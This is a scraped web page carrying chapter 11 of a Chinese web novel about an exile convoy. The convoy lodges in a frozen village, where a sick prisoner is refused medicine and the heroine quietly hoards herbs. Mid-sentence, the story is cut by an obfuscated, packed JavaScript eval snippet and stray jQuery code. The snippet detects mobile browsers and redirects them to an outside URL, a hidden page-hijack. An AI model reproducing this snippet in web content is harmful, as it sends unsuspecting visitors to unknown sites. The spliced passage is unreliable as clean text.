默认冷灰
24号文字
方正启体

11. 第 11 章

作者:元元彬本书字数:K更新时间:
    暮色已经压上青石墙,流放队才缓缓碾进村口。


    积雪掩住了大半墙基,却无法掩盖墙头插着的荆棘,?每根木刺都裹着冰壳,宛如一簇簇倒悬的利剑,既防野兽也防活人?。


    王德全望着这独特的防卫手段,默默地点了点头,心中暗自庆幸选这里借宿是个明智的决定。


    而村内,似乎早已察觉到外面的动静。“闭门!”一声响亮的喝声从墙内传来。


    林夕缩在囚车的角落,目光穿过缝隙,看见墙头闪过几张好奇的小脸。孩童们扒着冰棱偷窥着外面的景象,却又被妇人拽着羊皮袄匆匆拖回屋内。


    王德全走上前,用刀柄轻轻叩响了那扇包铁木门。门缝里,先探出一柄锋利的草叉,紧接着是一张沟壑纵横的中年男人的脸。


    “官爷,今年冬柴金贵......”他试探性地说道。


    这人王德全认识,正是这个村的村长。他家庭院宽敞,时常会接待过往的路人留宿。


    “少废话。”王德全不耐烦地打断了村长的话,随手甩出四张完整的狼皮,“前院两间杂物房和一间厢房,再烧三锅热水、煮一锅热粥。”


    狼皮“啪”地一声盖住了草叉,村长的混浊眼珠瞬间亮了起来。虽然这些狼皮被狼群撕烂了半边,但硝制好了也能给孙儿们改做坎肩,让这个冬天更加暖和。


    他侧身让道,请王德全一行人进入。林夕趁机瞥见村长身后还跟着五个壮硕的汉子,想必都是他的儿子。


    难怪村长敢做这露宿的生意,家里儿子多且武力值高,足以镇住一些居心不良的过客。


    随着前院响起老马的叫声和铁链的哗啦声,所有人都被赶了进来。


    村长盯着囚车顶上还剩下的虎皮和狼皮,凑近问道,“官爷,这皮子从哪来的?”


    王德全冷哼一声,“自己打的。”


    村长倒吸一口凉气,回头看了眼自家五个儿子,“这寒冬腊月的,我们村猎户都不敢出门,前些日子老张头出去一趟,差点被狼叼了去。”


    他搓着手叹气,“今年冬天邪性,山里野兽饿疯了,见人就扑。村里人都躲在家里啃干菜,就等着开春。”


    说着又看了眼狼皮,“要不是靠着官道,偶尔接待些过路的差爷,这日子真没法过了。只是没想到这么冷的天还有队伍北上......”


    王德全不耐烦地挥手,“少啰嗦,赶紧烧水去!”村长连忙点头哈腰地退下,招呼儿子们去后院劈柴。那五个壮汉走路时都刻意避开放着虎皮的囚车,眼神里透着畏惧。


    村长家的两间杂物房原是囤粮用的,泥墙上还粘着黍米壳。地上铺的草席结着霜,人一踩就碎成冰渣。


    林夕缩进墙角时,忽然嗅到一丝苦香。只见墙角歪着个破柜子,最下层抽屉半开,露出几根枯黄的柴胡。


    她用指甲刮了刮根茎,确认后赶紧悄悄把这几根遗落的柴胡塞进袖口里。定是村长家嫌这些自采的草药不值钱,随手扔着没入库。


    她懂点医药,最知道这些东西金贵,发烧了可掰半根煎水退热,若伤口化脓,捣碎敷上能消炎,再还有剩下的,还能留着春寒时泡脚驱寒。


    她仔细藏进了自己的银链空间里,里面已经多了三根尖锐木棍、一小袋粗盐、三根柴胡和两个半边黍饼,占了一个小小角落。


    一会儿后,人群才稀稀落落安顿了下来,此时天已经黑透了。


    村长家的老妻带着儿媳们,迟迟才拎来木桶,热水里掺着稀粥,木勺刮桶底时故意刮出刺啦声,显得尤为刺耳。


    流放犯们见状,立刻抢作一团,但最后每人也只分到半碗水粥和几块冷饼碎。


    那几个妇人挨个分汤时,别过脸去,沾着泥的布裙始终离流放犯三步远。满眼都是对这些罪人的鄙夷和嫌弃,仿佛他们是世界上最肮脏的存在?,大家也都见怪不怪了。


    夜深后,村长家的屋子虽然简陋,但好歹没有四处漏风。众人饿得没了知觉,挨着墙根昏沉睡去,仿佛要将这一天的疲惫与饥饿都抛诸脑后。


    然而,半夜时分,男囚房那边却突然发出了声响。原来是二房的嫡子韩元业发起了高热,右腿上的伤口被裹着的布条紧紧缠绕,脓血已经结了冰,看起来触目惊心。


    他父亲韩守义焦急万分,拍打着门板呼喊差役,“给点药吧!热水也行!”他的声音里充满了祈求,?显然对这个嫡长子有着深厚的感情,自然见不得儿子这样痛苦地死去?。


    女囚房里的韩张氏听见动静,立刻意识到这是自己大儿子病危的信号。她慌忙翻遍全身寻找值钱之物,却只剩下一个空耳洞的耳坠眼,显得无比绝望。


    她转头扯住妯娌们的衣襟,声音带着哭腔,“谁有银镯子?借我一副抓药!元业高热,再不用药就......”


    然而,女眷们却都裹紧破袄背过身去,连素日吃斋念佛的韩赵氏都闭目装睡,仿佛没有听见她的哀求。


    差役们按规矩不能硬抢活人的财物,但默许犯人自愿换药。偶尔抬价倒卖些伤药,也算双方情愿。


    韩张氏突然像疯了一般扑向韩柳氏,眼中满是绝


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15280126|166790||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    望与恳求:“五弟妹!你给守信治伤的药粉呢?分我些吧!元业可是韩家的嫡孙啊!”


    韩柳氏硬着心肠掰开了妇人的手,心中默念着母亲当年的教诲,“医者仁心,但危时先要自保。”她声音低沉而坚定,“早用完了,队正赏的伤药就那么一点,全抹在你五弟和侄子的身上了。”


    边上的林夕,意识默默扫过空间里那珍贵的柴胡和退烧药,指尖不自觉地蜷了蜷。


    原身的记忆里,韩元业踩碎虎头帽时的狞笑犹在眼前,但更清晰的,是前世在医院化疗室里,邻床病人伸手讨止痛药的虚弱模样。


    在医院待了一年多的她,早就学会了狠心。她深知,自己绝对不能圣母到把珍贵的西药给那些曾经欺负过原身的人。


    而韩守义和韩张氏仍在四处哀求,他们的声音在寒冷的夜里显得格外凄凉。


    但不知是出于无力还是不愿,总之,没有人愿意拿出任何东西来帮助他们。在所有人的沉默与冷漠中,隔壁少年的呻吟声渐渐微弱,仿佛生命之火正在逐渐熄灭。


    就在这时,后院突然传来一阵急促的声响。


    村长老妻挥舞着烧火棍,猛地撞开门板,口中大声嚷嚷着,“发热的晦气包不能进屋!山神爷会降罪的!”她的声音里充满了恐惧与决绝。


    王德全眼疾手快,刀鞘“铛”地一声架住了火棍,他的视线冷冷地扫过蜷缩在一旁、伤口溃烂的韩元业。


    少年的状态让他心中有了计较——这溃烂的伤口正适合做饵,等天亮后丢进山沟,血腥味自会引来饿狼,既能灭口又能消耗狼群,一举两得。


    “等天亮扔远一点,让畜生们吃饱了,明日过鹰嘴崖才安生。”王德全直白地说道,语气中透露出不容置疑的决绝。


    话一说完,韩张氏就嚎哭起来,她扑上前去,死死地抱住王德全的腿,“不许动我儿!”她的声音里充满了绝望与愤怒。


    王德全怒喝一声,“闹什么!”他扬起鞭子,狠狠地抽裂了草席,然后便转身离去,留下一片狼藉。


    杂物房里响起了压抑的啜泣声,那是韩张氏在无声地抗议与悲泣。


    而角落里的韩柳氏,却借着人群的骚动,将半枚绞丝银丁香飞快塞进身旁农妇的掌心。


    这一举动隐蔽而迅速,仿佛是在进行一场秘密的交易。对方袖管滑出饴糖干枣等物,铁链哗响恰好掩住发出的窸窣声。


    这是之前分汤时约定的交易,而这次林夕终于看清了整个过程。只是疑惑,韩柳氏身上用来交换的财物到底从何而来。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)